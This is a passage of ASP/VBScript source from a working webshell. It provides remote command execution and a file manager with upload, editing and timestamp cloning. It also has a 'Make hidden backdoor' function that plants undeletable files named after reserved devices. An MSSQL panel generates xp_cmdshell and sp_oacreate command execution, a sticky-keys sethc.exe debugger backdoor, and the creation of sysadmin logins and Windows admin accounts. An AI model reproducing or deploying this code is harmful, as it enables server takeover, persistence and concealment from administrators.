794		Dim CmdResult,tmpcmdstr
795		If Not isDebugMode Then On Error Resume Next
796		showTitle("WScript.Shell Execute")
797		If cmdPath<>""Then
798			If InStr(Lcase(cmdPath),"cmd.exe")>0 And InStr(cmdStr,"/c ")<1 Then
799				tmpcmdstr=cmdPath&" /c "&cmdStr
800			Else
801				tmpcmdstr=cmdPath&" "&cmdStr
802			End If
803			If needecho=1 Then
804				CmdResult=objWs.Exec(tmpcmdstr).StdOut.ReadAll()
805			Else
806				objWs.Run tmpcmdstr,0,False
807			End If
808			chkerr(Err)
809		Else
810			cmdPath="cmd.exe"
811		End If
812		doTable"100%"
813		doForm True
814		doTr 1
815		doTd"Path","20%"
816		doTdInput"text","cmdPath",cmdPath,"60%","",""
817		echo"<td>"
818		doChkBox"needecho",1," View result ","checked"
819		doSubmit"Run"
820		echo"</td>"
821		doTtr
822		doTr 0
823		doTd"Parameters",""
824		doTdInput"text","cmdStr",cmdStr,"","","2"
825		doTtr
826		doFform
827		doTtable
828		echo"<hr><b>Result:</b><br><span class=""alt1Span"">"&htmlEnc(CmdResult)&"</span>"
829		chkerr(Err)
830	End Sub
831
832	Sub PageFileExplorer()
833		If Not isDebugMode Then On Error Resume Next
834		If thePath=""Then thePath=pubPam
835		If thePath=""Then thePath=aspPath
836		If goaction<>"SaFileExplorer"Then goaction="FsoFileExplorer"
837		If subAct="down"Then
838			DownTheFile()
839			Response.End()
840		End If
841		If goaction="FsoFileExplorer"Then
842			strFileMethod="fso"
843			showTitle("FSO File Explorer")
844		Else
845			strFileMethod="sa"
846			showTitle("APP File Explorer")
847		End If
848		Select Case subAct
849			Case"delFile","delFolder"
850				delOne()
851				thePath=getLeft(thePath,"\",False)
852			Case"newone"
853				newOne()
854			Case"save","utfSave"
855				saveFile()
856				thePath=getLeft(thePath,"\",False)
857			Case"fileUpload"
858				StreamUpload()
859			Case"showEdit","utfEdit"
860				showEdit()
861			Case"rnFile","rnFolder"
862				renameOne()
863				thePath=getLeft(thePath,"\",False)
864			Case"cpFile","mvFile","cpFolder","mvFolder"
865				moveCopyOne()
866				thePath=getLeft(thePath,"\",False)
867			Case"getattrib"
868				getAttributes()
869			Case"Setattrib"
870				SetAttributes()
871				thePath=getLeft(thePath,"\",False)
872			Case"mkDoor"
873				MakeBackDoor()
874		End Select
875		If Len(thePath)<3 Then thePath=thePath&"\"
876		FileExplorer()
877	End Sub
878
879	Sub FileExplorer()
880		Dim theFolder,folderId,extName,parentFolderName,objSize,fullPath,objLastModIfied,nowpath
881		If Not isDebugMode Then On Error Resume Next
882		If strFileMethod="fso"Then
883			Set theFolder=objFso.GetFolder(thePath)
884			parentFolderName=objFso.GetParentFolderName(thePath)
885		Else
886			Set theFolder=objSa.NameSpace(thePath)
887			dieErr Err
888			parentFolderName=getLeft(thePath,"\",False)
889			If InStr(parentFolderName,"\")<1 Then
890				parentFolderName=parentFolderName&"\"
891			End If
892		End If
893		nowpath=thePath
894		If Right(nowpath,1)<>"\"Then nowpath=nowpath&"\"
895		doHidden"nowPath",nowpath
896		doForm True
897		echo"<b>Current Path :</b>"
898		doInput"text","thePath",thePath,120,""
899		echoLine""
900		doSelect"","170px","onchange=""javascript:if(this.value!=''){dosubmit('"&goaction&"','',this.value);}"""
901		doOption"","Drivers/Comm folders"
902		doOption htmlEnc(mapath(".")),"."
903		doOption htmlEnc(mapath("/")),"/"
904		doOption"","----------------"
905		If Lcase(strFileMethod)="fso"Then
906			For Each drive In objFso.Drives
907				doOption drive.DriveLetter&":\",drive.DriveLetter&":\"
908			Next
909			doOption"","----------------"
910		End If
911		doOption"C:\Program Files","C:\Program Files"
912		doOption"C:\Program Files\RhinoSoft.com","RhinoSoft.com"
913		doOption"C:\Program Files\Serv-U","Serv-U"
914		doOption"C:\Program Files\Radmin","Radmin"
915		doOption"C:\Program Files\Microsoft SQL Server","Mssql"
916		doOption"C:\Program Files\Mysql","Mysql"
917		doOption"","----------------"
918		doOption"C:\Documents and Settings\All Users","All Users"
919		doOption"C:\Documents and Settings\All Users\Documents","Documents"
920		doOption"C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere","PcAnywhere"
921		doOption"C:\Documents and Settings\All Users\Start Menu\Programs","Start Menu->Programs"
922		doOption"","----------------"
923		doOption"D:\Program Files","D:\Program Files"
924		doOption"D:\Serv-U","D:\Serv-U"
925		doOption"D:\Radmin","D:\Radmin"
926		doOption"D:\Mysql","D:\Mysql"
927		doSselect
928		doSubmit"Go"
929		doFform
930		echoLine"<br><form method=""post"" id=""upform""action="""&pagePath&"""enctype=""multipart/form-data"">"
931		doHidden"subAct","fileUpload"
932		doHidden"thePath",thePath
933		doTable"60%"
934		doTr 1
935		doTdInput"file","upfile","","30%","",""
936		doTd"Save As :","15%"
937		doTdInput"text","destName","","30%","",""
938		doTdInput"button",""," Upload  ","20%","onClick=""javascript:dosubmit('"&goaction&"','fileUpload','')""",""
939		doTtr
940		doFform
941		If strFileMethod="fso"Then
942			doTr 0
943			doForm True
944			doHidden"thePath",thePath
945			doHidden"subAct","newone"
946			doTdInput"text","newOneName","","","",""
947			echo"<td colspan='2'>"
948			doInput"radio","newOneType","file","","checked"
949			echo"File"
950			doInput"radio","newOneType","folder","",""
951			echo"Folder</td>"
952			doTdSubmit"New one",""
953			'doTdInput"button","makedoor","Make backdoor","","onClick=""javascript:dosubmit('"&goaction&"','mkDoor','"&doPathFormat(thePath)&"')""",""
954			doFform
955			doTtr
956		End If
957		echo"</table><hr>"
958		If strFileMethod="fso"Then
959			If Not objFso.FolderExists(thePath)Then
960				errMsgAdd thePath&" Folder dosen't exists or access denied!"
961				doFin
962			End If
963		End If
964		doShowHideme"Folders",False
965		doTable"100%"
966		doTh
967		doTd"<b>Folder name</b>",""
968		doTd"<b>Size</b>",""
969		doTd"<b>Last modIfied</b>",""
970		echo"<td><b>Action</b>"
971		If strFileMethod="fso"Then 
972			echo" - "
973			doSubHref goaction,"mkDoor",doPathFormat(thePath),"Make a hidden backdoor here",""
974		End If
975		echo"</td>"
976		doTtr
977		doTr 0
978		echo"<td colspan=""4"">"
979		doSubHref goaction,"",doPathFormat(parentFolderName),"Parent Directory",""
980		echo"</td>"
981		doTtr
982		trId=1
983		If strFileMethod="fso"Then
984			For Each objX In theFolder.SubFolders
985				objLastModIfied=objX.DateLastModIfied
986				doTr trId
987				echo"<td>"
988				doSubHref goaction,"",objX.Name,objX.Name,""
989				echo"</td>"
990				doTd htmlEnc("<dir>"),""
991				doTd objLastModIfied,""
992				echo"<td>"
993				doSubHref goaction,"cpFolder",objX.Name,"Copy"," -"
994				doSubHref goaction,"mvFolder",objX.Name,"Move"," -"
995				doSubHref goaction,"rnFolder",objX.Name,"Rename"," -"
996				doSubHref "AddToMdb","fsoPack",objX.Name,"Package"," -"
997				doSubHref goaction,"delFolder",objX.Name,"Delete",""
998				echoLine"</td>"
999				doTtr
1000				trIdAdd
1001			Next
1002		Else
1003			For Each objX In theFolder.Items
1004				If objX.IsFolder Then
1005					objLastModIfied=theFolder.GetDetailsOf(objX,3)
1006					doTr trId
1007					echo"<td>"
1008					doSubHref goaction,"",objX.Name,objX.Name,""
1009					echo"</td>"
1010					doTd htmlEnc("<dir>"),""
1011					doTd objLastModIfied,""
1012					echo"<td>"
1013					doSubHref goaction,"rnFolder",objX.Name,"Rename"," -"
1014					doSubHref "AddToMdb","appPack",objX.Name,"Package",""
1015					echoLine"</td>"
1016					doTtr
1017					trIdAdd
1018				End If
1019			Next
1020		End If
1021		doTtable
1022		echoLine"</span><br>"
1023		doShowHideme"Files",False
1024		doTable"100%"
1025		echo"<b>"
1026		doTh
1027		doTd"<b>File name</b>",""
1028		doTd"<b>Size</b>",""
1029		doTd"<b>Last modIfied</b>",""
1030		doTd"<b>Action</b>",""
1031		doTtr
1032		echo"</b>"
1033		trId=0
1034		If strFileMethod="fso"Then
1035			For Each objX In theFolder.Files
1036				objSize=GetTheSize(objX.Size)
1037				objLastModIfied=objX.DateLastModIfied
1038				If Lcase(Left(objX.Path,Len(rootPath)))<>Lcase(rootPath) Then
1039					folderId=""
1040				Else
1041					folderId=Replace(Replace(UrlEnc(Mid(objX.Path,Len(rootPath)+1)),"%2E","."),"+","%20")
1042				End If
1043				doTr trId
1044				If folderId=""Then
1045					doTd objX.Name,""
1046				Else
1047					doTd"<a href='"&Replace(folderId,"%5C","/")&"' target=_blank>"&objX.Name&"</a>",""
1048				End If
1049				doTd objSize,""
1050				doTd objLastModIfied,""
1051				echo"<td>"
1052				doSubHref goaction,"showEdit",objX.Name,"Edit"," -"
1053				doSubHref goaction,"cpFile",objX.Name,"Copy"," -"
1054				doSubHref goaction,"mvFile",objX.Name,"Move"," -"
1055				doSubHref goaction,"rnFile",objX.Name,"Rename"," -"
1056				doSubHref goaction,"down",objX.Name,"Down"," -"
1057				doSubHref goaction,"getattrib",objX.Name,"Attributes"," -"
1058				doSqlHref "showTables",objX.Name,"","","","Database"," -"
1059				doSubHref goaction,"delFile",objX.Name,"Delete",""
1060				echoLine"</td>"
1061				doTtr
1062				trIdAdd
1063			Next
1064		Else
1065			For Each objX In theFolder.Items
1066				If Not objX.IsFolder Then
1067					Dim fName
1068					fName=getRight(objX.Path,"\")
1069					fullPath=doPathFormat(objX.Path)
1070					objSize=theFolder.GetDetailsOf(objX,1)
1071					objLastModIfied=theFolder.GetDetailsOf(objX,3)
1072					If Lcase(Left(objX.Path,Len(rootPath)))<>Lcase(rootPath) Then
1073						folderId=""
1074					Else
1075						folderId=Replace(Replace(UrlEnc(Mid(objX.Path,Len(rootPath)+1)),"%2E","."),"+","%20")
1076					End If
1077					doTr trId
1078					If folderId=""Then
1079						doTd getRight(objX.Path,"\"),""
1080					Else
1081						doTd"<a href='"&Replace(folderId,"%5C","/")&"' target=_blank>"& getRight(objX.Path,"\")&"</a>",""
1082					End If
1083					doTd objSize,""
1084					doTd objLastModIfied,""
1085					echo"<td>"
1086					doSubHref goaction,"showEdit",fName,"Edit"," -"
1087					doSubHref goaction,"rnFile",fName,"Rename"," -"
1088					doSubHref goaction,"down",fName,"Down"," -"
1089					doSubHref goaction,"getattrib",fName,"Attributes"," -"
1090					doSqlHref "showTables",fName,"","","","Database",""
1091					echoLine"</td>"
1092					doTtr
1093					trIdAdd
1094				End If
1095			Next
1096		End If
1097		doTtable
1098		echo"</span>"
1099		chkerr(Err)
1100	End Sub
1101
1102	Sub getAttributes()
1103		Dim fsoTheFile,appTheFile,strName,strAtt,intValue,objFolder,strPth,refName
1104		If Not isDebugMode Then On Error Resume Next
1105		If IsObject(objFso)Then
1106			Set fsoTheFile=objFso.GetFile(thePath)
1107		End If
1108		If IsObject(objSa)Then
1109			strPth=getLeft(thePath,"\",False)
1110			strName=getRight(thePath,"\")
1111			Set objFolder=objSa.NameSpace(strPth)
1112			Set appTheFile=objFolder.ParseName(strName)
1113		End If
1114		echo"<center>"
1115		doTable"60%"
1116		doForm True
1117		doHidden"subAct","Setattrib"
1118		doHidden"thePath",thePath
1119		doTr 1
1120		doTdSubmit"Set / Clone",""
1121		doTd thePath,""
1122		doTtr
1123		doTr 0
1124		doTd"Attributes",""
1125		If IsObject(objFso)Then
1126			intValue=fsoTheFile.Attributes
1127			strAtt="<input type=checkbox name=fsoAttrib value=4 class='input' {$system}>system "
1128			strAtt=strAtt&"<input type=checkbox name=fsoAttrib value=2 class='input' {$hidden}>hide "
1129			strAtt=strAtt&"<input type=checkbox name=fsoAttrib value=1 class='input' {$readonly}>readonly "
1130			strAtt=strAtt&"<input type=checkbox name=fsoAttrib value=32 class='input' {$archive}>save "
1131			If intValue>=128 Then intValue=intValue-128
1132			If intValue>=64 Then intValue=intValue-64
1133			If intValue>=32 Then
1134				intValue=intValue-32
1135				strAtt=Replace(strAtt,"{$archive}","checked")
1136			End If
1137			If intValue>=16 Then intValue=intValue-16
1138			If intValue>=8 Then intValue=intValue-8
1139			If intValue>=4 Then
1140				intValue=intValue-4
1141				strAtt=Replace(strAtt,"{$system}","checked")
1142			End If
1143			If intValue>=2 Then
1144				intValue=intValue-2
1145				strAtt=Replace(strAtt,"{$hidden}","checked")
1146			End If
1147			If intValue>=1 Then
1148				intValue=intValue-1
1149				strAtt=Replace(strAtt,"{$readonly}","checked")
1150			End If
1151			doTd strAtt,""
1152		Else
1153			doTd"FSO object disabled,can't get/Set attributes -_-~!",""
1154		End If
1155		doTtr
1156		If IsObject(objSa)Then
1157			doTr 1
1158			doTd"Date created",""
1159			doTd objFolder.GetDetailsOf(appTheFile,4),""
1160			doTtr
1161			doTr 0
1162			doTd"Date last modIfied",""
1163			doTdInput"text","datem",objFolder.GetDetailsOf(appTheFile,3),"","",""
1164			doTtr
1165			doTr 1
1166			doTd"Date last accessed",""
1167			doTd objFolder.GetDetailsOf(appTheFile,5),""
1168			doTtr
1169		Else
1170			doTr 1
1171			doTd"Date created",""
1172			doTd fsoTheFile.DateCreated,""
1173			doTtr
1174			doTr 0
1175			doTd"Date last modIfied",""
1176			doTd fsoTheFile.DateLastModIfied,""
1177			doTtr
1178			doTr 1
1179			doTd"Date last accessed",""
1180			doTd fsoTheFile.DateLastAccessed,""
1181			doTtr
1182		End If
1183		doTr 0
1184		If IsObject(objSa)Then
1185			doTd"Clone time ",""
1186			echo"<td>"
1187			doSelect"strRefFile","100%",""
1188			doOption "","Do not clone"
1189			For Each objX In objFolder.Items
1190				If Not objX.IsFolder Then
1191					refName=getRight(objX.Path,"\")
1192					doOption refName,objFolder.GetDetailsOf(objFolder.ParseName(refName),3)&" --- "&refName
1193				End If
1194			Next
1195		Else
1196			echo"<td colspan=2>App object disabled,can't modIfy time -_-~!</td>"
1197		End If
1198		doTtable
1199		doFform
1200		doFin()
1201	End Sub
1202	Sub SetAttributes()
1203		If Not isDebugMode Then On Error Resume Next
1204		Dim myAttributes,fsoTheFile,strPth,strName,objFolder,appTheFile
1205		If IsObject(objFso)Then
1206			Set fsoTheFile=objFso.GetFile(thePath)
1207		End If
1208		If IsObject(objSa)Then
1209			strPth=getLeft(thePath,"\",False)
1210			strName=getRight(thePath,"\")
1211			Set objFolder=objSa.NameSpace(strPth)
1212			Set appTheFile=objFolder.ParseName(strName)
1213		End If
1214		If fsoAttrib<>""Then
1215			fsoAttrib=Split(Replace(fsoAttrib," ",""),",")
1216			For i=0 To UBound(fsoAttrib)
1217				myAttributes=myAttributes+CInt(fsoAttrib(i))
1218			Next
1219			fsoTheFile.Attributes=myAttributes
1220			If Err Then
1221				chkErr(Err)
1222			Else
1223				errMsgAdd"Attributes modIfied"
1224			End If
1225		End If
1226		If strRefFile=""Then
1227			If datem<>"" And IsDate(datem)Then
1228				appTheFile.ModIfyDate=datem
1229				If Err Then
1230					chkErr(Err)
1231				Else
1232					errMsgAdd"Time modIfied"
1233				End If
1234			End If
1235		Else
1236			appTheFile.ModIfyDate=objFolder.GetDetailsOf(objFolder.ParseName(strRefFile),3)
1237			If Err Then
1238				chkErr(Err)
1239			Else
1240				errMsgAdd"Time modIfied"
1241			End If
1242		End If
1243	End Sub
1244	Sub MakeBackDoor()
1245		If fileName<>""Then
1246			Dim savePath,fTheFile
1247			savePath="\\.\"&thePath&"\"&fileName
1248			If moveme=1 Then
1249				Call objFso.MoveFile(getServerVariable("PATH_TRANSLATED"),savePath)
1250				Set fTheFile=objFso.GetFile(savePath)
1251				fTheFile.Attributes=6
1252				Response.Redirect(fileName)
1253			Else
1254				fsoSaveToFile savePath,fileContent
1255				Set fTheFile=objFso.GetFile(savePath)
1256				fTheFile.Attributes=6
1257			End If
1258			If Err Then
1259				chkErr(err)
1260			Else
1261				errMsgAdd("Backdoor established,have fun.")
1262			End If
1263			Exit Sub
1264		End If
1265		doForm True
1266		doTable"100%"
1267		doHidden"subAct","mkDoor"
1268		echoLine"<b>Make hidden backdoor</b><br>"
1269		doTable"100%"
1270		doTr 1
1271		doTd"Path","20%"
1272		doTdInput"text","thePath",thePath,"60%","",""
1273		doTdSubmit"Save","20%"
1274		doTtr
1275		doTr 0
1276		doTd"Content",""
1277		doTdText "fileContent","",10
1278		echo"<td>"
1279		doChkBox"moveme",1,"Move myself there","onclick='javascript:document.getElementById(""fileContent"").disabled=this.checked'"
1280		echo"</td>"
1281		doTtr
1282		doTr 1
1283		echo"<td>"
1284		doSelect"fileName","100%",""
1285		doOption"aux.asp","aux.asp"
1286		doOption"con.asp","con.asp"
1287		doOption"com1.asp","com1.asp"
1288		doOption"com2.asp","com2.asp"
1289		doOption"nul.asp","nul.asp"
1290		doOption"prn.asp","prn.asp"
1291		doSselect
1292		echo"</td>"
1293		echoLine"<td colspan='2'>Cannot del,cannot open in ordinary way,this will drive the web administrator madness :)</td>"
1294		doTtr
1295		doTtable
1296		doFform
1297		doFin
1298	End Sub
1299
1300	Sub PageMsDataBase()
1301		If Not isDebugMode Then On Error Resume Next
1302		If connStr=""Then connStr=Request.Cookies(cookiePre&"connStr")
1303		ShowDBTool()
1304		If connStr<>""Then
1305			Select Case subAct
1306				Case"showQuery"
1307					showQuery()
1308				Case"delTable"
1309					delTable()
1310				Case"expTable"
1311					expTable()
1312				Case"saup","sadown"
1313					saFile()
1314				Case Else
1315					showTables()
1316			End Select
1317		End If
1318		DestoryConn
1319		doFin
1320	End Sub
1321
1322	Sub ShowDBTool()
1323		Dim rs,rolearr,strfuncs,showfuncs
1324		If Not isDebugMode Then On Error Resume Next
1325		showTitle("Database Operation")
1326		doForm True
1327		echoLine"Connect String : "
1328		doInput"text","connStr",connStr,160,""
1329		echo" "
1330		doSubmit"OK"
1331		doFform
1332		doShowHideMe"GetConnectString",True
1333		doTable"100%"
1334		doTr 1
1335		doTd"SqlOleDb","10%"
1336		echoLine"<td style=""width:80%"">Server:"
1337		doInput"text","MsServer","127.0.0.1","15",""
1338		echo" Username:"
1339		doInput"text","MsUser","sa","10",""
1340		echo" Password:"
1341		doInput"text","MsPass","","10",""
1342		echo" DataBase:"
1343		doInput"text","DBPath","","10",""
1344		echo"</td>"
1345		doTdInput"button","","Generate","10%","onClick=""javascript:getconnStr(MsServer.value,MsUser.value,MsPass.value,DBPath.value)""",""
1346		doTtr
1347		doTr 0
1348		doTd"Jet",""
1349		echoLine"<td>DB path:"
1350		doInput"text","accdbpath",aspPath&"\","82",""
1351		echo"</td>"
1352		doTdInput"button","","Generate","10%","onClick=""javascript:getAccStr(accdbpath.value)""",""
1353		doTtr
1354		doTtable
1355		echo"</span><hr>"
1356		If Err Then Err.clear
1357		If connStr<>""Then
1358			CreateConn connStr
1359			Response.Cookies(cookiePre&"connStr")=connStr
1360			Set rs=CreateObj("Adodb.RecordSet")
1361			rs.Open "select @@version,db_name()",conn,1,1
1362			If Err Then
1363				dbType="access"
1364				Err.clear
1365				Set rs=Nothing
1366				Set rs=CreateObj("Adodb.RecordSet")
1367				rs.Open "select cstr('access')",conn,1,1
1368				If Err Then
1369					dbType="others"
1370					Err.clear
1371				End If
1372				rs.Close
1373				Set rs=Nothing
1374			Else
1375				sqlver=rs(0)
1376				dbname=rs(1)
1377				rs.close
1378				dbType="mssql"
1379%>
1380	<script language=vbscript>
1381				Function getRegPath(path)
1382					Dim regRoot,regPath,regKey
1383					regRoot=getLeft(path,"\",True)
1384					path=Mid(path,Len(regRoot)+2)
1385					regKey=getRight(path,"\")
1386					regPath=getLeft(path,"\",False)
1387					getRegPath=Array(regRoot,regPath,regKey)
1388				End Function
1389				Function doXpStr(xpcmdstr)
1390					form2.queryStr.value="exec master..xp_cmdshell '"&xpcmdstr&"'"
1391				End Function
1392				Function doRegStr(regpath)
1393					Dim regarr
1394					regarr=getRegPath(regpath)
1395					form2.queryStr.value="exec master..xp_regread '"&regarr(0)&"','"&regarr(1)&"','"&regarr(2)&"'"
1396				End Function
1397				Function doXpDirStr(xpdirstr)
1398					form2.queryStr.value="exec master..xp_dirtree '"&xpdirstr&"',1,1"
1399				End Function
1400				Function doSpStr(spstr,sptemp,spstep)
1401					If spstep=2 Then
1402						form2.queryStr.value="If object_id('dark_temp')is not null drop table dark_temp;create table dark_temp(aa nvarchar(4000));bulk insert dark_temp from'"&sptemp&"'"
1403					Else
1404						form2.queryStr.value="declare @a int;exec master..sp_oacreate'wscript.shell',@a output;exec master..sp_oamethod @a,'run',null,'"&spstr&" > "&sptemp&"',0,'true'"
1405					End If
1406				End Function
1407				Function doBoxStr(boxstr,boxpath,boxtemp,boxstep)
1408					Select Case boxstep
1409						Case 1
1410							form2.queryStr.value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0"
1411						Case 2
1412							boxstr=Replace(boxstr,"""","""""")
1413							form2.queryStr.value="Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database="&boxpath&"','select shell("""&boxstr&" > "&boxtemp&""")')"
1414						Case 3
1415							form2.queryStr.value="If object_id('dark_temp')is not null drop table dark_temp;create table dark_temp(aa nvarchar(4000));bulk insert dark_temp from'"&boxtemp&"'"
1416					End Select
1417				End Function
1418				Function doFsoStr(fsoori,fsotag)
1419					form2.queryStr.value="declare @a int;exec master..sp_oacreate'Scripting.FileSystemObject',@a output;exec master..sp_oamethod @a,'CopyFile',null,'"&fsoori&"','"&fsotag&"'"
1420				End Function
1421				Function doMakeCab(cabori,cabtag)
1422					form2.queryStr.value="exec master..xp_makecab 'C:\windows\temp\~098611.tmp','default',1,'"&cabori&"';exec master..xp_unpackcab 'C:\windows\temp\~098611.tmp','"&getLeft(cabtag,"\",False)&"',1,'"&getRight(cabtag,"\")&"'"
1423				End Function
1424				Function doAddSp(addsptag,addspdll)
1425					form2.queryStr.value="Use master;dbcc addextEndedproc('"&addsptag&"','"&addspdll&"')"
1426				End Function
1427				Function doDelSp(delsptag)
1428					form2.queryStr.value="Use master;dbcc dropextEndedproc('"&delsptag&"')"
1429				End Function
1430				Function doEnableSp(ensptag)
1431					form2.queryStr.value="EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure '"&ensptag&"',1;RECONFIGURE"
1432				End Function
1433				Function doRegWrite(rwpath,rwtype,rwvalue)
1434					Dim regarr
1435					regarr=getRegPath(rwpath)
1436					form2.queryStr.value="exec master..xp_regwrite '"&regarr(0)&"','"&regarr(1)&"','"&regarr(2)&"','"&rwtype&"','"&rwvalue&"'"
1437				End Function
1438				Function doAddLogin(name,pass)
1439					form2.queryStr.value="exec master..sp_addlogin '"&name&"','"&pass&"';exec master..sp_addsrvrolemember '"&name&"','sysadmin'"
1440				End Function
1441				Function doAddSysUser(name,pass)
1442					form2.queryStr.value="declare @a int;exec master..sp_oacreate 'ScriptControl',@a output;exec master..sp_oasetproperty @a,'language','VBScript';exec master..sp_oamethod @a,'addcode',null,'sub add():Set o=CreateObject(""Shell.Users""):Set u=o.create("""&name&"""):u.changePassword """&pass&""","""":u.setting(""AccountType"")=3:end sub';exec master..sp_oamethod @a,'run',null,'add'"
1443				End Function
1444				Function doLogBackup(logcontent,logpath,dbname,stepp)
1445					Select Case stepp
1446						Case 1
1447							form2.queryStr.value="alter database "&dbname&" Set recovery full;dump transaction "&dbname&" with no_log;If object_id('dark_temp')is not null drop table dark_temp;create table dark_temp(aa sql_variant primary key)"
1448						Case 2
1449							form2.queryStr.value="backup database "&dbname&" to disk='C:\windows\temp\~098611.tmp' with init"
1450						Case 3
1451							form2.queryStr.value="insert dark_temp values('"&Replace(logcontent,"'","''")&"')"
1452						Case 4
1453							form2.queryStr.value="backup log "&dbname&" to disk='"&logpath&"';drop table dark_temp"
1454					End Select
1455				End Function
1456				Function chgDb(dbname)
1457					On Error Resume Next
1458					Dim regex,olddb
1459					Set regex=new RegExp
1460					regex.Global=True
1461					regex.IgnoreCase=True
1462					regex.MultiLine=True
1463					regex.Pattern="(Database|Initial Catalog) *=[^;]+"
1464					If regex.test(sqlForm.connStr.value)Then
1465						sqlForm.connStr.value=secretEncode(regex.Replace(sqlForm.connStr.value,"$1="&dbname))
1466						sqlForm.subAct="showTables"
1467						sqlForm.submit
1468					Else
1469						Window.alert("Can not get database name in connect string!")
1470					End If
1471				End Function
1472				Function getLeft(str,sign,fromLeft)
1473					If str="" Or InStr(str,sign)<1 Then
1474						getLeft=""
1475						Exit Function
1476					End If
1477					If fromLeft Then
1478						getLeft=Left(str,InStr(str,sign)-1)
1479					Else
1480						getLeft=Left(str,InstrRev(str,sign)-1)
1481					End If
1482				End Function
1483				Function getRight(str,sign)
1484					If str="" Or InStr(str,sign)<1 Then
1485						getRight=""
1486						Exit Function
1487					End If
1488					getRight=Mid(str,InstrRev(str,sign)+Len(sign))
1489				End Function
1490	</script>
1491<%
1492			End If
1493			If subAct="showQuery"And queryStr=""Then
1494				If dbType="others"Then
1495					queryStr="select * from "&strTable
1496				Else
1497					queryStr="select * from ["&strTable&"]"
1498				End If
1499			End If
1500			doSqlHref "showTables","","","","","Show Tables",""
1501			echo"<br>"
1502			doForm True
1503			doHidden"subAct","showQuery"
1504			doHidden"connStr",connStr
1505			doTable"100%"
1506			If dbType="mssql"Then
1507				doTr 1
1508				echoLine"<td colspan=3>Version : "&htmlEnc(sqlver)&"</td>"
1509				doTtr
1510				rolearr="sysadmin|db_owner|public"
1511				doTr 0
1512				echo"<td colspan=3>"
1513				For Each strrole In Split(rolearr,"|")
1514					If strrole="sysadmin"Then
1515						rs.Open "select IS_SRVROLEMEMBER('"&strrole&"')",conn,1,1
1516					Else
1517						rs.Open "select IS_ROLEMEMBER('"&strrole&"')",conn,1,1
1518					End If
1519					If rs(0)=1 Then
1520						echo "Current ServerRole : <font color='red'>"&strrole&"</font> "
1521						rs.close
1522						Exit For
1523					End If
1524					rs.close
1525				Next
1526				echo "| Switch Database : "
1527				rs.Open "select name from master..sysdatabases",conn,1,1
1528				rs.movefirst
1529				Do While Not rs.eof
1530					echo "<a href=javascript:chgDb('"&rs("name")&"')>"&rs("name")&"</a> | "
1531					rs.movenext
1532				Loop
1533				echo"</td></tr>"
1534				trIdAdd
1535				rs.close
1536				Set rs=Nothing
1537			End If
1538			doTr 1
1539			doTd"Execute Sql","10%"
1540			doTdText"queryStr",queryStr,5
1541			doTdSubmit"Submit","10%"
1542			doTtr
1543			doTtable
1544			doFform
1545			If dbType="mssql"Then
1546				echo"Functions : "
1547				strfuncs=Split("xp_cmd|xp_dir|xp_reg|xp_regw|wsexec|sbexec|fsocopy|makecab|addproc|delproc|enfunc|addlogin|addsys|logback|saup|sadown","|")
1548				showfuncs=Split("xp_cmdshell|xp_dirtree|xp_regread|xp_regwrite|ws exec|sandbox exec|FSO copy|Cab copy|add procedure|del procedure|enable function|add sql user|add sys user|logbackup|saupfile|sadownfile","|")
1549				For i=0 To UBound(strfuncs)
1550					echo"<a href='#' onClick=""javascript:showHideMe("&strfuncs(i)&")"" class='hidehref'>"&showfuncs(i)&"</a> | "
1551				Next
1552				echo"<br><br>"
1553				doHideSpan"xp_cmd",True
1554				doTable"100%"
1555				doTr 1
1556				doTd"Command","10%"
1557				doTdInput"text","xpcmdstr","net user","80%","",""
1558				doTdInput"button","","Generate","10%","onClick=""javascript:doXpStr(xpcmdstr.value)""",""
1559				doTtr
1560				doTtable
1561				echo"</span>"
1562				doHideSpan"xp_dir",True
1563				doTable"100%"
1564				doTr 1
1565				doTd"Path","10%"
1566				doTdInput"text","xpdirstr",aspPath,"80%","",""
1567				doTdInput"button","","Generate","10%","onClick=""javascript:doXpDirStr(xpdirstr.value)""",""
1568				doTtr
1569				doTtable
1570				echo"</span>"
1571				doHideSpan"xp_reg",True
1572				doTable"100%"
1573				doTr 1
1574				doTd"Path","10%"
1575				doTdInput"text","xpregpath","HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName","80%","",""
1576				doTdInput"button","","Generate","10%","onClick=""javascript:doRegStr(xpregpath.value)""",""
1577				doTtr
1578				doTtable
1579				echo"</span>"
1580				doHideSpan"xp_regw",True
1581				doTable"100%"
1582				doTr 1
1583				doTd"Path","10%"
1584				doTdInput"text","rwpath","HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Sethc.exe\debugger","80%","","4"
1585				doTtr
1586				doTr 0
1587				doTd"Type",""
1588				doTdInput"text","rwtype","REG_SZ","30%","",""
1589				doTd"Value",""
1590				doTdInput"text","rwvalue","cmd.exe","40%","",""
1591				doTdInput"button","","Generate","10%","onClick=""javascript:doRegWrite(rwpath.value,rwtype.value,rwvalue.value)""",""
1592				doTtr
1593				doTtable
1594				echo"</span>"
1595				doHideSpan"wsexec",True
1596				doTable"100%"
1597				doTr 1
1598				doTd"Command","10%"
1599				doTdInput"text","spstr","cmd /c net user","","","4"
1600				doTtr
1601				doTr 0
1602				doTd"Temp File",""
1603				doTdInput"text","sptemp","C:\WINDOWS\Temp\~098611.tmp","50%","",""
1604				doTd"Step","20%"
1605				echo"<td width='10%'>"
1606				doSelect"spstep","100%",""
1607				doOption 1,1
1608				doOption 2,2
1609				doSselect
1610				echo"</td>"
1611				doTdInput"button","","Generate","10%","onClick=""javascript:doSpStr(spstr.value,sptemp.value,spstep.value)""",""
1612				doTtr
1613				doTtable
1614				echo"</span>"
1615				doHideSpan"sbexec",True
1616				doTable"100%"
1617				doTr 1
1618				doTd"Command","10%"
1619				doTdInput"text","boxstr","cmd /c net user","","","5"				
1620				doTtr
1621				doTr 0
1622				doTd"Mdb Path",""
1623				doTdInput"text","boxpath","C:\windows\system32\ias\ias.mdb","30%","",""
1624				doTd"Temp File","10%"
1625				doTdInput"text","boxtemp","C:\WINDOWS\Temp\~098611.tmp","30%","",""
1626				echo"<td width='10%'>Step "
1627				doSelect"boxstep","40px",""
1628				doOption 1,1
1629				doOption 2,2
1630				doOption 3,3
